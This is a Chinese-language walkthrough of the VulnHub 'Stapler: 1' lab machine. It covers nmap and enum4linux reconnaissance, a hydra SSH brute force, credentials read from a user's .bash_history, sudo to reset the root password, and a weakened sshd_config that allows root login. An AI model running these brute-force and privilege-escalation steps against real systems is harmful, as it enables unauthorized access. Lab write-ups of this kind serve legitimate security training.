欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

[Vulnhub 通行证] 订书机:1

最编程 2024-04-27 08:02:19
...

准备工作

靶机基本信息

靶机名称:Stapler
操作系统:Linux
虚拟机软件:VMware Workstation
网络连接方式:桥接至物理网络(请手动设置!!)
渗透测试目标:获取root权限与交互式Shell并读取Flag文件
下载地址:Stapler: 1 ~ VulnHub

环境配置

解压Stapler.zip文件之后,请先编辑Stapler.ovf虚拟机配置文件,将文件中所有的Caption字符串替换为ElementName,随后删除Stapler.mf文件,最后打开VMware Workstation导入虚拟机。


信息收集

主机发现

在Kali Linux中,使用netdiscover命令进行主机发现:

netdiscover -r 192.168.2.0/24

从中可以确定,网卡设备名为VMware, Inc.的机器即为靶机,IP地址为192.168.2.132

网络服务扫描

确定靶机IP地址之后,我们先使用nmap对靶机进行初步扫描,命令如下:

# -sS 使用TCP SYN半开扫描
nmap -sS -A -sV -p- 192.168.2.132

部分扫描结果截图:

从中我们可以获得如下信息:

端口 传输层协议 应用层协议 详细信息 状态

20

TCP

FTP(Data)

vsftpd 2.0.8 or later

关闭

21

TCP

FTP(Command)

vsftpd 2.0.8 or later

开启

22

TCP

SSH

OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

开启

53

TCP

DNS

dnsmasq 2.75

开启

80

TCP

HTTP

PHP cli server 5.5 or later

开启

123

TCP

NTP

关闭

137
138

TCP

NetBIOS

关闭

139

TCP

SMB

Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)

开启

666

TCP

未知

开启

3306

TCP

MySQL

MySQL 5.7.12-0ubuntu1

开启

12380

TCP

HTTP

Apache httpd 2.4.18 ((Ubuntu))

开启

同时得知靶机操作系统为Ubuntu Linux,内核版本未知。


服务探测

FTP服务(20、21端口)

根据nmap的扫描结果,靶机的FTP服务允许Anonymous用户登录,尝试一下:

发现登录时靶机的FTP服务返回了一条Banner信息,意思是叫靶机操作系统用户Harry 更新登录提示文本,这里先作为用户名敏感信息记录到新建的userlist文件中。

查看note文件,内容如下:

Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John. 

又获得了两个用户名:EllyJohn

SMB服务(139端口)

对于SMB服务,我们首先使用enum4linux工具扫描一下:

enum4linux -a -o -M 192.168.2.132

部分扫描结果:

但重点在于获取到的 NetBIOS信息

共享文件夹列表

密码策略

以及用户名和组列表

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-22-1-1000 Unix User\peter (Local User)                                                                                                                                      
S-1-22-1-1001 Unix User\RNunemaker (Local User)
S-1-22-1-1002 Unix User\ETollefson (Local User)
S-1-22-1-1003 Unix User\DSwanger (Local User)
S-1-22-1-1004 Unix User\AParnell (Local User)
S-1-22-1-1005 Unix User\SHayslett (Local User)
S-1-22-1-1006 Unix User\MBassin (Local User)
S-1-22-1-1007 Unix User\JBare (Local User)
S-1-22-1-1008 Unix User\LSolum (Local User)
S-1-22-1-1009 Unix User\IChadwick (Local User)
S-1-22-1-1010 Unix User\MFrei (Local User)
S-1-22-1-1011 Unix User\SStroud (Local User)
S-1-22-1-1012 Unix User\CCeaser (Local User)
S-1-22-1-1013 Unix User\JKanode (Local User)
S-1-22-1-1014 Unix User\CJoo (Local User)
S-1-22-1-1015 Unix User\Eeth (Local User)
S-1-22-1-1016 Unix User\LSolum2 (Local User)
S-1-22-1-1017 Unix User\JLipps (Local User)
S-1-22-1-1018 Unix User\jamie (Local User)
S-1-22-1-1019 Unix User\Sam (Local User)
S-1-22-1-1020 Unix User\Drew (Local User)
S-1-22-1-1021 Unix User\jess (Local User)
S-1-22-1-1022 Unix User\SHAY (Local User)
S-1-22-1-1023 Unix User\Taylor (Local User)
S-1-22-1-1024 Unix User\mel (Local User)
S-1-22-1-1025 Unix User\kai (Local User)
S-1-22-1-1026 Unix User\zoe (Local User)
S-1-22-1-1027 Unix User\NATHAN (Local User)
S-1-22-1-1028 Unix User\www (Local User)
S-1-22-1-1029 Unix User\elly (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''                                                                                                     
                                                                                                                                                                                
S-1-5-32-544 BUILTIN\Administrators (Local Group)                                                                                                                               
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-5-21-864226560-67800430-3082388513 and logon username '', password ''                                                                       
                                                                                                                                                                                
S-1-5-21-864226560-67800430-3082388513-501 RED\nobody (Local User)                                                                                                              
S-1-5-21-864226560-67800430-3082388513-513 RED\None (Domain Group)

把这些用户全部保存到userlist文件中。

随后尝试登录共享文件夹kathytmp,将里面的文件全部下载到本地:

smbclient //192.168.2.132/kathy
smbclient //192.168.2.132/tmp

(也可以通过Kali Linux自带的Thunar文件浏览器下载文件)

如图为靶机SMB服务里存储的文件,其中有2份纯文本文件,1份VSFTPd的配置文件,1份TAR格式的WordPress源代码压缩包。(靶机上可能有WordPress??)但除此之外没有任何其它的用户名信息。


渗透测试

SSH密码爆破

通过前面的服务信息收集,我们得到了一大串用户名信息:

在没有密码字典的情况下,我们可以使用hydra工具进行密码爆破。(用户名字典可以在加上一些参数之后当做密码字典使用

# -L         指定用户名字典
# -P         指定密码字典
# -e nsr     使用空密码、反转密码等爆破
hydra -L ./userlist -P ./userlist -e nsr ssh://192.168.2.132:22

如图,成功爆破出了SSH密码:

  • 用户名:SHayslett
  • 密码:SHayslett

尝试使用Termius登录:

成功!!!


权限提升

P.S. 下文所有成功登录的用户在登录之后原密码就被更改。

登录SHayslett用户之后,查看用户家目录下的文件,没有发现有效信息:

SHayslett@red:~$ ls -lA
total 20
-rw-r--r-- 1 root      root         5 Jun  5  2016 .bash_history
-rw-r--r-- 1 SHayslett SHayslett  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 SHayslett SHayslett 3771 Sep  1  2015 .bashrc
drwx------ 2 SHayslett SHayslett 4096 Nov  2 08:42 .cache
-rw-r--r-- 1 SHayslett SHayslett  675 Sep  1  2015 .profile

使用sudo -l命令,发现无法进行sudo提权:

SHayslett@red:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for SHayslett: *********
Sorry, user SHayslett may not run sudo on red.

查看进程,发现有一个名为JKanode的用户似乎在运行一些重要业务服务,推测该用户的权限较高

尝试切换用户:

SHayslett@red:~$ su JKanode
Password: *********
su: Authentication failure

切换不成功,转而尝试进入其家目录查看文件:

SHayslett@red:~$ cd /home/JKanode && ls -lA
total 16
-rw-r--r-- 1 JKanode JKanode  167 Jun  5  2016 .bash_history
-rw-r--r-- 1 JKanode JKanode  220 Sep  1  2015 .bash_logout
-rw-r--r-- 1 JKanode JKanode 3771 Sep  1  2015 .bashrc
-rw-r--r-- 1 JKanode JKanode  675 Sep  1  2015 .profile

查看.bash_history文件,发现如下关键内容:

发现关键用户名密码信息.png

经过验证,图中的用户名和密码都为正确信息:

  • 用户名:JKanode,密码:thisimypassword
  • 用户名:peter,密码:JZQuyIN5

尝试登录用户JKanode,成功:

尝试在该用户Shell上进行sudo提权,失败:

查看计划任务,一无所获:

JKanode@red:~$ crontab -l
no crontab for JKanode

再次尝试切换用户至Peter,登录成功,但发现有可能是一个Limited Shell

经过一番思索之后,决定按照说明进入命令界面,2使用操作系统管理员的配置

而且执行id命令之后,我居然发现peter用户在sudo组之内。(好好好,是是是)

执行sudo -l继续验证:

peter@red ~ % sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: *********
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL

好啊,很好,非常好。

直接提权加改root密码:

peter@red ~ % sudo passwd root
Enter new UNIX password: *********
Retype new UNIX password: *********
passwd: password updated successfully

Termius登录:

嗯??失败???

思前想后,密码是不可能出问题的,极有可能在SSH配置文件里有其它不必要的配置,登录Peter用户并提权查看/etc/ssh/sshd_config文件

果然!

直接删除最后一行内容,并修改以下配置项:

  1. PermitRootLogin:由without-password修改为yes
  2. StrictModes:由yes修改为no
  3. PubkeyAuthentication:由yes修改为no

重启SSH服务:

sudo systemctl restart sshd

再次尝试使用Termius连接root用户:

成功!!!


Flag信息公示

文件名:flag.txt
文件大小:463 B
MD5:8e386e344ca9e200a1182f0c97f5af58
SHA256:bb5ebb5bc41a960c6967fad55fedcdf97fe2f00887a6ffcbaa30091d856cee96

文件内容:

~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )-."`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b


本次靶机渗透到此结束